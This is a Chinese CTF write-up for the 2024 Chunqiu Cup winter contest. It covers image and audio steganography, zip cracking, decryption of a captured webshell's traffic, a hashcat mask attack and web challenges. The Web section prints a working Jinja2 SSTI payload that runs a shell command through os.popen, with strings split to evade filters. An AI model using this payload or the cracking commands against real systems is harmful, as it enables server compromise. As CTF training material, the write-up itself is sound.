春秋杯 2024 冬季 WriteUp
说在前面
被拉出去练了两天车,成人干了。
基本上都是早上打的比赛,没多少时间去做题,有些需要时间的题就没有去做。
春秋这个平台恶心的一点就是赛后不开环境去复现,这里就凭记忆写点 wp 吧。
Misc
See anything in these pics
扫描 aztec.png 可以得到压缩包密码。
解压得到的图片内藏了另一张图片, 010 提取 。
发现全黑,注意到图片的 CRC 有问题,用脚本算宽高得到原始宽高为 1440x1800 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | import os import binascii import struct
  crc = open("1.png","rb").read()
  for i in range(8192):     for j in range(8192):         data = crc[12:16] + \             struct.pack('>i', i)+struct.pack('>i', j)+crc[24:29]         crc32 = binascii.crc32(data) & 0xffffffff         if(crc32 == 0xEF1B39BE):             print(i, j)             print('Hex:', hex(i), hex(j))
   | 
 
改宽高,图片中得到 flag 。
简单镜像提取
流量包里提取出镜像文件,使用 R-Studio 恢复得到一个 xlsx 。
打开即可得到 flag 。
音频的秘密
题目给了一个 wav 文件,频谱没毛病,大概率 Deepsound 。
有密码, hint 提示是弱口令,爆破出密码是 123 .
提取出来一个压缩包,藏了一张 png 图片,带加密,爆破不出。
注意到加密方式为 ZipCrypto Store 。可以使用明文破解。
破解得到 png 是 lsb 隐写,提取即可得到 flag 。
Weevil’s Whisper
分析流量包,注意到一个🐎
分析🐎的利用方式,可以整一个脚本解密流量包中传的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
   | import base64 import zlib import sys   k = b"161ebd7d" kh = "45089b3446ee" kf = "4e0d86dbcf92" p = "lFDu8RwONqmag5ex"   def xor_decrypt(data, key):     key_len = len(key)     decrypted_data = bytearray()     for i in range(len(data)):         decrypted_data.append(data[i] ^ key[i % key_len])     return decrypted_data.decode('latin1')   def decompress(payload):     try:         decompressed_data = zlib.decompress(payload)         print("Decompressed Payload:")         print(decompressed_data.decode('utf-8', errors='ignore'))         return decompressed_data     except Exception as e:         print(f"Error decompressing payload: {e}")         return None   def main():     if len(sys.argv) != 2:         print("Usage: python decrypt_backdoor.py <encoded_payload>")         sys.exit(1)       encoded_payload = sys.argv[1].replace(p, '').replace(kh, '').replace(kf, '')               decoded_payload = base64.b64decode(encoded_payload)               decrypted_payload = xor_decrypt(decoded_payload, k)               result = decompress(decrypted_payload.encode('latin1'))   if __name__ == "__main__":     main()
   | 
 
在包 289 发现 flag .
flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}
Crypto
通往哈希的旅程
hashcat 掩码爆破即可。
1
   | hashcat -a 3 -m 100 ca12fd8250972ec363a16593356abb1f3cf3a16d 188?d?d?d?d?d?d?d?d
   | 
 
Web
easy_flask
最简单的 jinja2 ssti .
{{lipsum.__globals__['o'+'s']['pop''en']('cat flag').read()}}
打过去得到 flag 。
easy_php (复现)
原题:[SWPUCTF 2018]SimplePHP
改一下类名即可。